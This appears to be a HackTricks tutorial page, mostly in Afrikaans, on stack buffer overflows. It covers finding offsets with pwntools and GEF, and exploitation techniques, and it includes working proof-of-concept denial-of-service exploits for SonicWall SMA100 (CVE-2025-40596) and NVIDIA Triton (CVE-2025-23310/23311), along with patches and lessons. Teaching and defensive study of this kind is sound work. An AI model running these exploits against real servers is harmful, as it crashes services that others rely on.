Stack Overflow

Reading time: 10 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Wat is 'n Stack Overflow

A stack overflow is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stack skryf as wat daarvoor toegeken is om te hou. Hierdie oortollige data sal die aangrensende geheue-ruimte oorskryf, wat lei tot die korrupsie van geldige data, ontwrigting van die uitvoeringsvloei, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat geen grenskontrole op insette uitvoer nie.

Die hoofprobleem van hierdie oorskrywing is dat die saved instruction pointer (EIP/RIP) en die saved base pointer (EBP/RBP) om terug te keer na die vorige funksie op die stack gestoor word. Daarom sal 'n aanvaller dit kan oorskryf en die uitvoeringsvloei van die program beheer.

Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie meer bytes binne die stack kopieer as die hoeveelheid daarvoor toegeken is, en dus ander dele van die stack kan oorskryf.

Sommige algemene funksies wat hiervoor kwesbaar is: strcpy, strcat, sprintf, gets... Ook funksies soos fgets, read & memcpy wat 'n lengte-argument neem, kan op 'n kwesbare wyse gebruik word as die gespesifiseerde lengte groter is as die toegekende een.

Byvoorbeeld, die volgende funksies kan kwesbaar wees:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Vind Stack Overflows offsets

Die mees algemene manier om Stack Overflows te vind is om 'n baie groot invoer van As te gee (e.g. python3 -c 'print("A"*1000)') en te wag vir 'n Segmentation Fault wat aandui dat die adres 0x41414141 probeer aangespreek is.

Verder, sodra jy gevind het dat daar 'n Stack Overflow kwetsbaarheid is, sal jy die offset moet vind totdat dit moontlik is om die overwrite the return address, hiervoor word gewoonlik 'n De Bruijn sequence gebruik. Wat, vir 'n gegewe alfabet van grootte k en subreeksies van lengte n, 'n sikliese volgorde is waarin elke moontlike subreeks van lengte n presies een keer as 'n aaneenlopende subreeks verskyn.

Op hierdie manier, in plaas daarvan om met die hand uit te figureer watter offset nodig is om die EIP te beheer, kan jy een van hierdie sequences as padding gebruik en dan die offset vind van die bytes wat dit uiteindelik oorskryf het.

Dit is moontlik om pwntools hiervoor te gebruik:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

of GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Uitbuiting van Stack Overflows

During an overflow (supposing the overflow size if big enough) you will be able to oorskryf values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik is deur die terugkeeradres te wysig sodat wanneer die funksie eindig die control flow herlei sal word na waar die gebruiker in hierdie pointer gespesifiseer het.

However, in other scenarios maybe just overwriting some variables values in the stack might be enough for the exploitation (like in easy CTF challenges).

Ret2win

In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:

Ret2win

Stack Shellcode

In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.

Windows Seh Overflow

ROP & Ret2... techniques

This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:

ROP - Return Oriented Programing

Heap Overflows

An overflow is not always going to be in the stack, it could also be in the heap for example:

Heap Overflow

Tipes beskerming

There are several protections trying to prevent the exploitation of vulnerabilities, check them in:

Common Binary Exploitation Protections & Bypasses

Werklike voorbeeld: CVE-2025-40596 (SonicWall SMA100)

A good demonstration of why sscanf should never be trusted for parsing untrusted input appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance. Die kwesbare roetine binne /usr/src/EasyAccess/bin/httpd probeer die weergawe en endpoint uit enige URI te onttrek wat begin met /__api__/:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Die eerste konversie (%2s) stoor veilig twee bytes in version (bv. "v1").
  2. Die tweede konversie (%s) het geen lengte-spesifiseerder nie, daarom sal sscanf bly kopieer tot by die eerste NUL byte.
  3. Omdat endpoint op die stack geleĆ« is en 0x800 bytes long, korrupteer die verskaffing van 'n pad langer as 0x800 bytes alles wat na die buffer sit ‑ insluitend die stack canary en die saved return address.

Een enkele reƫl proof-of-concept is genoeg om die crash before authentication te veroorsaak:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Alhoewel stack canaries die proses beƫindig, kry 'n aanvaller steeds 'n Denial-of-Service primitive (and, with additional information leaks, possibly code-execution). Die les is eenvoudig:

  • Gee altyd 'n maksimum veldbreedte (bv. %511s).
  • Gee voorkeur aan veiliger alternatiewe soos snprintf/strncpy_s.

Werklike Voorbeeld: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA se Triton Inference Server (≤ v25.06) het verskeie stack-based overflows bevat wat via sy HTTP API bereik kon word. Die kwesbare patroon het herhaaldelik in http_server.cc en sagemaker_server.cc voorgekom:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) gee die aantal interne buffersegmente wat die huidige HTTP-versoekliggaam saamstel.
  2. Elke segment veroorsaak dat 'n 16-byte evbuffer_iovec op die stack via alloca() gealloceer word – sonder enige boonste beperking.
  3. Deur HTTP chunked transfer-encoding te misbruik, kan 'n kliƫnt die versoek dwing om in honderde duisende 6-byte stukkies ("1\r\nA\r\n") opgesplit te word. Dit laat n onbeperk groei totdat die stack uitgeput is.

Bewys-van-Konsep (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk āžœ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ā‰ˆ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

'n ~3 MB versoek is genoeg om die gestoorde return address te oorskryf en crash die daemon op 'n default build.

Patch & Mitigation

Die 25.07 release vervang die onveilige stack allocation met 'n heap-backed std::vector en hanteer std::bad_alloc op 'n elegante wyse:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Lesse geleer:

  • Moenie alloca() met groottes wat deur die aanvaller beheer word aanroep nie.
  • Chunked requests kan drasties die vorm van server-side buffers verander.
  • Valideer / beperk enige waarde wat uit kliĆ«ntinvoer afgelei is voor jy dit in geheue-toewysings gebruik.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks